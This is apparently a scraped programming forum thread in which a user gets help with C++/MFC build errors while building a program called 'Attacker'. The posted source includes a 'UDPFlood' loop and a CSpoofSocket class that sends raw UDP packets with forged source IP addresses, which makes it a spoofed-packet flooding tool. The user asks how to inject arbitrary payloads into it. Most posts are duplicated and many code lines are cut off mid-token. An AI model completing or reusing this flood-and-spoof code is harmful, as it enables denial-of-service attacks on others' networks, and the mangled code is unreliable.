bluedragon99
asked on
Defining global variable visual c++ .net (mfc)
How would I go about declaring a global VARIANT or STRING in my c++ .net mfc app?
I have been using this for my int's:
extern int myvariable
extern char myvariable[100];
or
extern char myvariable;
they don't seem to work. To be accepted as an answer this variable needs to be able to hold characters and numbers. It will be accepting data from a text edit control.
Thanks!
I have been using this for my int's:
extern int myvariable
extern char myvariable[100];
or
extern char myvariable;
they don't seem to work. To be accepted as an answer this variable needs to be able to hold characters and numbers. It will be accepting data from a text edit control.
Thanks!
SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
What do you mean by "they don't seem to work"? What errors are you getting?
ASKER
Used this to call it:
//{{AFX_DATA_INIT(CAttacke rDlg)
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
CString g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
//{{AFX_DATA_INIT(CAttacke
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
CString g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
ASKER
Used this to call it:
//{{AFX_DATA_INIT(CAttacke rDlg)
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
CString g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
//{{AFX_DATA_INIT(CAttacke
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
CString g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
ASKER
Sorry hit enter button prematurly
Calling it here:
//{{AFX_DATA_INIT(CAttacke rDlg)
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
Defining it in header file here:
extern CString g_nData;
Getting this error message:
AttackerDlg.cpp(77): error C2593: 'operator =' is ambiguous
on this line
g_nData = 1;
Calling it here:
//{{AFX_DATA_INIT(CAttacke
m_Packets = 100;
m_SourcePort = 0;
g_nMyVar = 0;
g_nData = 1;
g_nTTLVAR = 1;
m_DestinationPort = 0;
m_AttackType = 0;
m_TcpOptions = FALSE;
m_IPOptions = FALSE;
//}}AFX_DATA_INIT
Defining it in header file here:
extern CString g_nData;
Getting this error message:
AttackerDlg.cpp(77): error C2593: 'operator =' is ambiguous
on this line
g_nData = 1;
>CString g_nData = 1;
If you've already defined g_nData as a CString, then it should be
g_nData = _T("1");
If you've already defined g_nData as a CString, then it should be
g_nData = _T("1");
ASKER
yeah posted those by accident
Now I'm getting this
Attacker error LNK2001: unresolved external symbol "class ATL::CStringT<char,class StrTraitMFC<char,class ATL::ChTraitsCRT<char> > > g_nData" (?g_nData@@3V?$CStringT@DV ?$StrTrait MFC@DV?$Ch TraitsCRT@ D@ATL@@@@@ ATL@@A)
on this line
g_nData = _T("1");
Now I'm getting this
Attacker error LNK2001: unresolved external symbol "class ATL::CStringT<char,class StrTraitMFC<char,class ATL::ChTraitsCRT<char> > > g_nData" (?g_nData@@3V?$CStringT@DV
on this line
g_nData = _T("1");
AFX_DATA_INIT is used to mark the beginning and end of dialog data exchange (DDX) member variable initializations in a dialog class's constructor
Why you are initializing global variable here?
Just have your global variable defn in any .cpp file like
CString g_nData = _T("1");
I think you should not get the linker error unless you are doing much more than the global variable stuff. In .NET CString is defined for both ATL and MFC and is common for them. The linker error may result if you are importing the CString derived class from a dll into your project. For details plz have a look at
http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B309801
-Lakshman
Why you are initializing global variable here?
Just have your global variable defn in any .cpp file like
CString g_nData = _T("1");
I think you should not get the linker error unless you are doing much more than the global variable stuff. In .NET CString is defined for both ATL and MFC and is common for them. The linker error may result if you are importing the CString derived class from a dll into your project. For details plz have a look at
http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B309801
-Lakshman
The reason that you are getting the linker error is because you have not defined the variable. You have only declared it.
extern CString g_nData;
You need to define it in one and only one .cpp.
CString g_nData;
extern CString g_nData;
You need to define it in one and only one .cpp.
CString g_nData;
ASKER
Got it working! it doesn't compile under release but does under debug and compiles exe fine, get this under release compile..
Attacker error LNK2019: unresolved external symbol __imp__send@16 referenced in function "public: int __thiscall CTCPSocket::Send(char *,char)" (?Send@CTCPSocket@@QAEHPAD D@Z)
sorry Lakshman I am new to c
Attacker error LNK2019: unresolved external symbol __imp__send@16 referenced in function "public: int __thiscall CTCPSocket::Send(char *,char)" (?Send@CTCPSocket@@QAEHPAD
sorry Lakshman I am new to c
ASKER
all of my functions are returning this error (27) errors.
ASKER
Well can't really use CString because I am feeding it to a functionn that needs char *....arrrgggg!
Check your linker options of the release version to see if you have added Ws2_32.lib.
You can pass a CString where a LPCTSTR (char *) is required.
You can pass a CString where a LPCTSTR (char *) is required.
As chensu pointed,
Project->Settings->Link->O bject/Libr ary modules->(Here add Ws2_32.lib)
-Lakshman
Project->Settings->Link->O
-Lakshman
ASKER
Thanks guys that did fix the release errors, 1 more problem to solve and I'm done.
Here's my function:
BOOL CUPDSocket::Send(int iSourcePort,LPCSTR lpDestinationAddress, int iDestinationPort,LPCSTR g_nData,int BufLength)
Heres where I'm calling it:
if (udp->Send(m_SourcePort,cD estination IP,m_Desti nationPort ,g_nData,s trlen(g_nD ata)))
I need to send g_nData (which holds characters and numbers from an edit control, it's a CString) to the send function. What am I doing wrong? Heres the error generated.
error C2511: 'BOOL CUDPSocket::Send(int,LPCST R,int,LPCS TR,int)' : overloaded member function not found in 'CUDPSocket'
error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'
Thanks again!
Here's my function:
BOOL CUPDSocket::Send(int iSourcePort,LPCSTR lpDestinationAddress, int iDestinationPort,LPCSTR g_nData,int BufLength)
Heres where I'm calling it:
if (udp->Send(m_SourcePort,cD
I need to send g_nData (which holds characters and numbers from an edit control, it's a CString) to the send function. What am I doing wrong? Heres the error generated.
error C2511: 'BOOL CUDPSocket::Send(int,LPCST
error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'
Thanks again!
>error C2511: 'BOOL CUDPSocket::Send(int,LPCST R,int,LPCS TR,int)' : overloaded member function not found in 'CUDPSocket'
The function prototype does not match. Check the CUDPSocket class to see if the number of parameters is correct and the data types of the parameters are correct.
>error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'
In order to pass a CString, the data type of the parameter type needs to be "const char *" instead of "char *" as you are not supposed to change the content of the CString.
The function prototype does not match. Check the CUDPSocket class to see if the number of parameters is correct and the data types of the parameters are correct.
>error C2664: 'CUDPSocket::Send' : cannot convert parameter 4 from 'CString to 'char *'
In order to pass a CString, the data type of the parameter type needs to be "const char *" instead of "char *" as you are not supposed to change the content of the CString.
ASKER
I still can't figure this out so I am posting the dialog and the actual function. I need to send g_nData (which holds characters and numbers from an edit control) to the send function. What changes to I need to make here to the call and the function so it will accept g_nData? Remember this is from an edit control and it may be changed by the user after each send (its going to be used for creating raw packets).
Here is my dialog which makes the call to the function:
}void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S ourceIP);
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI D_SOURCE);
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI P);
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR (&m_Destin ationIP);
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI D_DESTINAT ION);
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou rceIP);
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets ;iCount++)
if (udp->Send(m_SourcePort,cD estination IP,m_Desti nationPort ,cFlood,st rlen(cFloo d)))
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
Heres my function:
}void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S ourceIP);
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI D_SOURCE);
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI P);
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR (&m_Destin ationIP);
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI D_DESTINAT ION);
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou rceIP);
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets ;iCount++)
if (udp->Send(m_SourcePort,cD estination IP,m_Desti nationPort ,cFlood,st rlen(cFloo d)))
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
Here is my dialog which makes the call to the function:
}void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets
if (udp->Send(m_SourcePort,cD
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
Heres my function:
}void CAttackerDlg::UDPFlood()
{
//Create the udp socket
CUDPSocket* udp;
udp=new CUDPSocket();
udp->SetRaw(TRUE);
//Was an error
BOOL bError=TRUE;
if (udp->Create())
{
bError=FALSE;
//Set the source IP
char* cSourceIP;
cSourceIP=IPCtrlToSTR(&m_S
if (!cSourceIP)
//Error
AfxMessageBox(ERROR_INVALI
else
{
//Copy source IP
cSourceIP=_strdup(cSourceI
char* cDestinationIP;
cDestinationIP=IPCtrlToSTR
if (!cDestinationIP)
{
delete cSourceIP;
//Error
AfxMessageBox(ERROR_INVALI
}
else
{
bError=TRUE;
if (m_IPOptions)
SetIPOptions(udp);
//Let's attack
udp->SetSourceAddress(cSou
char cFlood[]="test";
for (int iCount=1;iCount<=m_Packets
if (udp->Send(m_SourcePort,cD
//OK
bError=FALSE;
delete cSourceIP;
}
}
}
if (bError)
//Display error
DisplaySocketError(udp);
udp->Close();
delete udp;
Are you still getting those two errors? If so, please post the function prototype of CUDPSocket::Send() in the declaration of CUDPSocket.
ASKER
Yup still getting the 2 errors. Here are the source and header files.
Source:
#include "stdafx.h"
#include "UDPSocket.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
////////////////////////// ////////// ////////// ////////// ////////// ////
// Construction/Destruction
////////////////////////// ////////// ////////// ////////// ////////// ////
CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}
CUDPSocket::~CUDPSocket()
{
}
BOOL CUDPSocket::Create()
{
SetProtocol(IPPROTO_UDP);
return CSpoofSocket::Create(IPPRO TO_UDP);
}
BOOL CUDPSocket::Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
char* buf,
int BufLength
)
{
//We can construct the UDP here
LPUDPHeader lpUDP;
lpUDP=new UDPHeader;
//Set the ports
lpUDP->SourcePort=htons(iS ourcePort) ;
lpUDP->DestinationPort=hto ns(iDestin ationPort) ;
//Set the length
lpUDP->Length=htons(UDPHea derLength) ;
//Check sum
lpUDP->Checksum=0;
BOOL bResult;
if (BufLength)
{
//Create the buffer
int iTotalLength;
iTotalLength=UDPHeaderLeng th+BufLeng th;
char* tmpBuf;
tmpBuf=new char[iTotalLength];
memcpy(tmpBuf,lpUDP,UDPHea derLength) ;
memcpy(tmpBuf+UDPHeaderLen gth,buf,Bu fLength);
//Update it
lpUDP->Checksum=CalculateP seudoCheck sum(tmpBuf ,iTotalLen gth,lpDest inationAdd ress,iTota lLength);
//Recopy it
memcpy(tmpBuf,lpUDP,UDPHea derLength) ;
//Send it
bResult=CSpoofSocket::Send (lpDestina tionAddres s,tmpBuf,i TotalLengt h);
//Delete
delete tmpBuf;
}
else
{
//Update it
lpUDP->Checksum=CalculateP seudoCheck sum((char* )lpUDP,UDP HeaderLeng th,lpDesti nationAddr ess,UDPHea derLength) ;
//Send it
bResult=CSpoofSocket::Send (lpDestina tionAddres s,(char*)l pUDP,UDPHe aderLength );
}
//Clean up
delete lpUDP;
return bResult;
}
BOOL CUDPSocket::SetBroadcast(B OOL bBroadcast)
{
//Set broadcast option
if(setsockopt(getHandle(), SOL_SOCKET ,SO_BROADC AST,(char* )&bBroadca st,sizeof( bBroadcast ))==SOCKET _ERROR)
{
//Check for options error
SetLastError();
return FALSE;
}
return TRUE;
}
HEADER:
// UDPSocket.h: interface for the CUDPSocket class.
//
////////////////////////// ////////// ////////// ////////// ////////// ////
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_UDPSOCKET_H__ B6FDDD18_1 9E2_4E61_A 04E_CC6DD8 583966__IN CLUDED_)
#define AFX_UDPSOCKET_H__B6FDDD18_ 19E2_4E61_ A04E_CC6DD 8583966__I NCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "SpoofSocket.h"
typedef struct _UDPHeader
{
unsigned short SourcePort;
unsigned short DestinationPort;
unsigned short Length;
unsigned short Checksum;
} UDPHeader;
typedef UDPHeader FAR * LPUDPHeader;
#define UDPHeaderLength sizeof(UDPHeader)
class CUDPSocket : public CSpoofSocket
{
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
char* buf,
int BufLength);
BOOL Create();
CUDPSocket();
virtual ~CUDPSocket();
};
#endif // !defined(AFX_UDPSOCKET_H__ B6FDDD18_1 9E2_4E61_A 04E_CC6DD8 583966__IN CLUDED_)
Source:
#include "stdafx.h"
#include "UDPSocket.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
//////////////////////////
// Construction/Destruction
//////////////////////////
CUDPSocket::CUDPSocket() : CSpoofSocket()
{
}
CUDPSocket::~CUDPSocket()
{
}
BOOL CUDPSocket::Create()
{
SetProtocol(IPPROTO_UDP);
return CSpoofSocket::Create(IPPRO
}
BOOL CUDPSocket::Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
char* buf,
int BufLength
)
{
//We can construct the UDP here
LPUDPHeader lpUDP;
lpUDP=new UDPHeader;
//Set the ports
lpUDP->SourcePort=htons(iS
lpUDP->DestinationPort=hto
//Set the length
lpUDP->Length=htons(UDPHea
//Check sum
lpUDP->Checksum=0;
BOOL bResult;
if (BufLength)
{
//Create the buffer
int iTotalLength;
iTotalLength=UDPHeaderLeng
char* tmpBuf;
tmpBuf=new char[iTotalLength];
memcpy(tmpBuf,lpUDP,UDPHea
memcpy(tmpBuf+UDPHeaderLen
//Update it
lpUDP->Checksum=CalculateP
//Recopy it
memcpy(tmpBuf,lpUDP,UDPHea
//Send it
bResult=CSpoofSocket::Send
//Delete
delete tmpBuf;
}
else
{
//Update it
lpUDP->Checksum=CalculateP
//Send it
bResult=CSpoofSocket::Send
}
//Clean up
delete lpUDP;
return bResult;
}
BOOL CUDPSocket::SetBroadcast(B
{
//Set broadcast option
if(setsockopt(getHandle(),
{
//Check for options error
SetLastError();
return FALSE;
}
return TRUE;
}
HEADER:
// UDPSocket.h: interface for the CUDPSocket class.
//
//////////////////////////
/*
*
*
* Copyright (c) 2000 Barak Weichselbaum <barak@komodia.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
*
* Contact info:
* Site: http://www.komodia.com
* Email: barak@komodia.com
*/
#if !defined(AFX_UDPSOCKET_H__
#define AFX_UDPSOCKET_H__B6FDDD18_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "SpoofSocket.h"
typedef struct _UDPHeader
{
unsigned short SourcePort;
unsigned short DestinationPort;
unsigned short Length;
unsigned short Checksum;
} UDPHeader;
typedef UDPHeader FAR * LPUDPHeader;
#define UDPHeaderLength sizeof(UDPHeader)
class CUDPSocket : public CSpoofSocket
{
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
char* buf,
int BufLength);
BOOL Create();
CUDPSocket();
virtual ~CUDPSocket();
};
#endif // !defined(AFX_UDPSOCKET_H__
ASKER
in the header is this the problem?
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
--------> char* buf,
int BufLength);
public:
BOOL SetBroadcast(BOOL bBroadcast);
BOOL Send(int iSourcePort,
LPCSTR lpDestinationAddress,
int iDestinationPort,
--------> char* buf,
int BufLength);
ASKER CERTIFIED SOLUTION
membership
This solution is only available to members.
To access this solution, you must be a member of Experts Exchange.
ASKER
is sendto() a dll call of some sort or is it user defined somewhere? I cant seem to find it in any of the header files or anywhere else to change what I can pass to it. I think thats where I need to pass the data payload.
ASKER
Guys thanks for all your help and all errors have cleared up so far, but..I still cannot seem to be able to pass the data portion of the packet to the correct spot. Currently the program sends no data portion of the packet. The text box on my dialog needs to be able to enter the raw data for the packet. I am going to post header files and source of the places it could be at. The send function appears to be working after changing the char * buf, but sendto() seems to be the final function that runs before actually sending the packet. It is located in spoofsocket.cpp, I tried putting g_nData into this function but no luck, data payload still blank. Wish I could post zip files, would post whole source. Anyone have any ideas left on where to put the g_nData variable??? I really want this thing to work and this is the last thing to implement and its DONE!
Spoofsocket.CPP source:
#include "stdafx.h"
#include "BinaryTree.h"
#include "SpoofSocket.h"
#include "Attacker.h"
#include "AttackerDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
extern CString g_nData;
//Message handler
LRESULT CALLBACK SocketMessageHandler(HWND hwnd, // handle to window
UINT uMsg, // message identifier
WPARAM wParam, // first message parameter
LPARAM lParam) // second message parameter
{
//first get the socket
CSpoofSocket* cSock;
cSock=CSpoofSocket::GetSoc ketByID((i nt)wParam) ;
if (cSock)
//Socket exists
switch (uMsg)
{
case WM_SOCKET_GENERAL:
if (WSAGETSELECTEVENT(lParam) == FD_READ)
return cSock->OnSocketReceive(WSA GETSELECTE RROR(lPara m));
else if (WSAGETSELECTEVENT(lParam) == FD_WRITE)
return cSock->OnSocketWrite(WSAGE TSELECTERR OR(lParam) );
else if (WSAGETSELECTEVENT(lParam) == FD_OOB)
return cSock->OnSocketOOB(WSAGETS ELECTERROR (lParam));
else if (WSAGETSELECTEVENT(lParam) == FD_CLOSE)
return cSock->OnSocketClose(WSAGE TSELECTERR OR(lParam) );
break;
case WM_SOCKET_CONNECT:
if (WSAGETSELECTEVENT(lParam) == FD_CONNECT)
return cSock->OnSocketConnect(WSA GETSELECTE RROR(lPara m));
break;
case WM_SOCKET_ACCEPT:
if (WSAGETSELECTEVENT(lParam) == FD_ACCEPT)
return cSock->OnSocketAccept(WSAG ETSELECTER ROR(lParam ));
break;
case WM_TIMER:
//Inform the socket
return cSock->OnSocketTimeout();
default: /* Passes it on if unproccessed */
return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));
}
else
return (int)(DefWindowProc(hwnd, uMsg, wParam, lParam));
return TRUE;
}
////////////////////////// ////////// ////////// ////////// ////////// ////////// /
// CSpoofSocket
CSpoofSocket::CSpoofSocket ()
{
InitializeIP();
}
CSpoofSocket::CSpoofSocket (SOCKET sok)
{
AssignSocket(sok);
}
CSpoofSocket::~CSpoofSocke t()
{
//Delete options
SetOptions(FALSE);
Close();
}
////////////////////////// ////////// ////////// ////////// ////////// ////////// /
// CSpoofSocket member functions
BOOL CSpoofSocket::Create(int iProtocol)
{
//Here we create the raw socket
m_SpoofSocket=socket(AF_IN ET,SOCK_RA W,iProtoco l); //iProtocol);
//Check for socket validity
if (m_SpoofSocket==INVALID_SO CKET)
{
//Error
m_LastError=WSAGetLastErro r();
return FALSE;
}
if (m_Raw)
{
//Set that the application will send the IP header
unsigned int iTrue=1;
if(setsockopt(m_SpoofSocke t,IPPROTO_ IP,IP_HDRI NCL,(char* )&iTrue,si zeof(iTrue ))==SOCKET _ERROR)
{
//Check for options error
m_LastError=WSAGetLastErro r();
return FALSE;
}
if (iProtocol==IPPROTO_ICMP)
SetHandlers();
}
else
SetHandlers();
//Well no errors
m_LastError=0;
//Add socket to list
AddSocketToList();
return TRUE;
}
BOOL CSpoofSocket::Send(LPCSTR lpDestinationAddress,LPCST R g_nData)
{
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Define the target address
sockaddr_in m_TargetAddress;
memset(&m_TargetAddress,0, sizeof(m_T argetAddre ss));
m_TargetAddress.sin_family =AF_INET;
m_TargetAddress.sin_addr.s _addr=inet _addr(lpDe stinationA ddress);
m_TargetAddress.sin_port=0 ;
//packet send status ?
int iResult;
//Only if allowing raw headers !!
if (m_Raw)
{
//Header length
unsigned char ucHeaderLength=IpHeaderLen gth;
if (m_Options)
ucHeaderLength+=m_IPOption s->GetBuff erLength() ;
//First construct the packet
LPIpHeader lpHead=ConstructIPHeader(g _nMyVar,Ip FragFlag_D ONT_FRAG,m _TTL,GetCu rrentProce ssId(),ucH eaderLengt h);
//Set the address
SetIPHeaderAddress(lpHead, m_SourceAd dress,lpDe stinationA ddress);
//Now add some more options
int iTotalLength;
iTotalLength=ucHeaderLengt h;
//Set the header
lpHead->TotalLength=htons( iTotalLeng th);
//Need to construct a new packet
char* newBuf=new char[iTotalLength];
//Copy two buffers
memcpy(newBuf,lpHead,IpHea derLength) ;
//Do we need to copy options ?
if (m_Options)
memcpy(newBuf+IpHeaderLeng th,m_IPOpt ions->GetB uffer(),m_ IPOptions- >GetBuffer Length());
//Only if not null
//if (buf)
//memcpy(newBuf+ucHeaderLe ngth,g_nDa ta,g_nData );
//Calculate the checksum
lpHead->CheckSum=Calculate Checksum(( unsigned short*)newBuf,iTotalLength );
//Recopy the ip
memcpy(newBuf,lpHead,IpHea derLength) ;
//Send the data
iResult=sendto(getHandle() ,newBuf,iT otalLength ,0,(sockad dr*)&m_Tar getAddress ,sizeof(m_ TargetAddr ess));
//Dispose of the buffer
delete newBuf;
//Dispose the header
delete lpHead;
}
else
{
iResult=!SOCKET_ERROR;
//Insert options
if (m_Options)
if (setsockopt(getHandle(),IP PROTO_IP,I P_OPTIONS, m_IPOption s->GetBuff er(),m_IPO ptions->Ge tBufferLen gth()==SOC KET_ERROR) )
//Error
iResult=SOCKET_ERROR;
else
;
else
//No options
//iResult=setsockopt(getHa ndle(),IPP ROTO_IP,IP _OPTIONS,N ULL,0);
;
//Check if we had an error
if (iResult!=SOCKET_ERROR)
//Use regular send !!!
//iResult=sendto(getHandle (),0,(sock addr*)&m_T argetAddre ss,sizeof( m_TargetAd dress));
;
}
if (iResult==SOCKET_ERROR)
//Set the error
SetLastError();
else
m_LastError=0;
return iResult!=SOCKET_ERROR;
}
LPIpHeader CSpoofSocket::ConstructIPH eader(unsi gned char ucProtocol,
unsigned short usFragmentationFlags,
unsigned char ucTTL,
unsigned short usIdentification,
unsigned char ucHeaderLength)
{
//Need to construct the IP header
LPIpHeader lpHead=new _IpHeader;
//Header length (in 32 bits)
lpHead->HeaderLength_Versi on=ucHeade rLength/4 + IpVersion*16;
//Protocol
lpHead->Protocol=ucProtoco l;
//Fragmentation flags
lpHead->FragmentationFlags =htons(usF ragmentati onFlags);
//Time to live
lpHead->TTL=ucTTL;
//Checksum - set to 0
lpHead->CheckSum=0;
//Identification
lpHead->Identification=hto ns(usIdent ification) ;
//Precedence
lpHead->TypeOfService=IpSe rvice_ROUT INE;
//Return IP to user
return lpHead;
}
void CSpoofSocket::SetIPHeaderA ddress(LPI pHeader lpHead, LPCSTR lpSourceAddress, LPCSTR lpDestinationAddress)
{
//We need to place the header
//If source is NULL then we need to use default source
if (!lpSourceAddress)
{
//We will implement it
}
else
//Use sockets2
lpHead->sourceIPAddress=in et_addr(lp SourceAddr ess);
//Place destination address
lpHead->destIPAddress=inet _addr(lpDe stinationA ddress);
//Done
}
void CSpoofSocket::SetLastError ()
{
m_LastError=WSAGetLastErro r();
}
int CSpoofSocket::GetLastError ()
{
return m_LastError;
}
BOOL CSpoofSocket::ValidSocket( )
{
return m_SpoofSocket!=INVALID_SOC KET;
}
unsigned short CSpoofSocket::CalculateChe cksum(unsi gned short *usBuf, int iSize)
{
unsigned long usChksum=0;
//Calculate the checksum
while (iSize>1)
{
usChksum+=*usBuf++;
iSize-=sizeof(unsigned short);
}
//If we have one char left
if (iSize)
usChksum+=*(unsigned char*)usBuf;
//Complete the calculations
usChksum=(usChksum >> 16) + (usChksum & 0xffff);
usChksum+=(usChksum >> 16);
//Return the value (inversed)
return (unsigned short)(~usChksum);
}
BOOL CSpoofSocket::Bind(LPCSTR lpSourceAddress,int iPort)
{
//Quit if not ok
if (!CheckSocketValid())
return FALSE;
//Create the local address
sockaddr_in soSrc;
//Set to 0
memset(&soSrc,0,sizeof(soS rc));
soSrc.sin_family=AF_INET;
soSrc.sin_addr.s_addr=inet _addr(lpSo urceAddres s);
soSrc.sin_port=htons(iPort );
//Now we need to bind it
if (bind(getHandle(),(sockadd r*)&soSrc, sizeof(soS rc)))
{
//Error
m_LastError=WSAGetLastErro r();
return FALSE;
}
m_LastError=0;
//If already has a source address then don't change it
if (!m_SourceAddress)
m_SourceAddress=lpSourceAd dress;
return TRUE;
}
SOCKET CSpoofSocket::getHandle()
{
return m_SpoofSocket;
}
BOOL CSpoofSocket::CheckSocketV alid()
{
//Check if socket is invalid
if (!ValidSocket())
{
